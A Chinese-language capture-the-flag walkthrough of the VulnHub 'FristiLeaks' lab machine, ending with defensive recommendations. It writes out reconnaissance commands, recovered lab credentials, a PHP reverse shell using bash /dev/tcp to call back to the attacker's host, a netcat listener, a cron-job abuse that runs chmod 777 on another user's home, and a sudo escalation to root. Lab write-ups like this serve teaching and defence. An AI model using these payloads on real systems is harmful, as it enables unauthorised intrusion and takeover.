VulnHub靶机学习——Fristileaks实战记录
字数 1502 2025-08-18 11:38:28
Fristileaks 靶机渗透实战教学文档
靶机概述
- 难度等级: 中级
- 目标: 获取root权限并找到flag
- 下载地址: FristiLeaks_1.3.ova
- 环境要求:
- 攻击机: Kali Linux
- 靶机: FristiLeaks (VMware运行)
- 网络设置: NAT模式
渗透测试流程
1. 信息收集阶段
步骤1: 发现靶机IP
使用nmap扫描本地网络:
nmap -sn 192.168.50.0/24
发现靶机IP为192.168.50.143
步骤2: 端口扫描
全面扫描开放端口:
nmap -sV -p- 192.168.50.143
发现仅开放80端口
详细扫描80端口:
nmap -A -O -p80 192.168.50.143
发现存在robots.txt文件
步骤3: 目录爆破
使用Dirbuster进行目录爆破,发现以下关键目录:
- /images/ (包含KEEP CALM AND DRINK FRISTI图片)
- /fristi/ (重要登录页面)
2. Web应用渗透
步骤1: 分析登录页面
访问192.168.50.143/fristi发现登录页面
查看页面源代码发现:
- 潜在用户名: "eezeepz"
- Base64编码的图片数据
步骤2: 解码Base64图片
编写Python脚本处理Base64数据:
import base64
# 从网页获取的Base64数据
encoded_data = "iVBORw0KGgoAAAANSUhEUgAAAMgAAADICAYAAACt..."
# 解码并写入文件
with open("decoded.png", "wb") as f:
f.write(base64.b64decode(encoded_data))
解码后获得包含密码的图片:
Username: eezeepz
Password: KeKKeKKeKKeK
步骤3: 登录系统
使用凭证登录:
- 用户名: eezeepz
- 密码: KeKKeKKeKKeK
成功进入文件上传页面
3. 获取初始访问权限
步骤1: 准备反弹shell
创建PHP反弹shell文件(shell.php):
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.50.142/4444 0>&1'");
?>
重命名为图片格式:
mv shell.php shell.png
步骤2: 设置监听
在Kali上启动监听:
nc -lvnp 4444
步骤3: 上传并触发shell
- 上传shell.png文件
- 访问/uploads/shell.png触发反弹shell
4. 权限提升
步骤1: 初步枚举
查看/home目录发现用户:
- eezeepz
- admin
查看eezeepz目录下的note.txt:
Hi eezeepz,
I have left a note for you in /tmp. Please create a file called "runthis" there and I will run it as admin.
Thanks,
admin
步骤2: 利用定时任务提权
创建runthis文件:
echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > /tmp/runthis
等待定时任务执行后,获得admin目录访问权限
步骤3: 解密密码文件
在admin目录发现:
- cryptpass.py (加密脚本)
- cryptedpass.txt (加密密码)
- whoisyourgodnow.txt (加密文件)
解密得到:
- whoisyourgodnow.txt → "LetThereBeFristi!"
- cryptedpass.txt → "thisisalsopw123"
步骤4: 切换至fristigod用户
使用密码"LetThereBeFristi!"切换用户:
su - fristigod
如果遇到shell问题,使用:
python -c 'import pty;pty.spawn("/bin/bash")'
步骤5: 分析用户历史
查看.bash_history发现sudo使用模式:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
步骤6: 最终提权
执行命令获取root shell:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
成功获取root权限,找到flag
关键知识点总结
-
信息收集技巧:
- 全面的nmap扫描策略
- 目录爆破的合理使用
- 源代码审查的重要性
-
Web渗透技巧:
- Base64隐写术分析
- 弱凭证利用
- 文件上传漏洞利用
-
权限提升方法:
- 定时任务利用
- 密码破解与解密
- Sudo权限滥用
-
后渗透技巧:
- 受限shell突破
- 历史命令分析
- 横向移动技术
防御建议
-
系统加固:
- 限制不必要的文件上传功能
- 禁用危险的sudo配置
- 严格控制定时任务权限
-
密码安全:
- 避免在源代码中硬编码凭证
- 使用强加密算法存储密码
- 定期更换密码
-
监控措施:
- 监控异常文件创建(/tmp/runthis)
- 记录sudo命令执行
- 设置文件完整性监控
-
开发安全:
- 避免在客户端进行敏感操作
- 实施输入验证和过滤
- 定期安全代码审计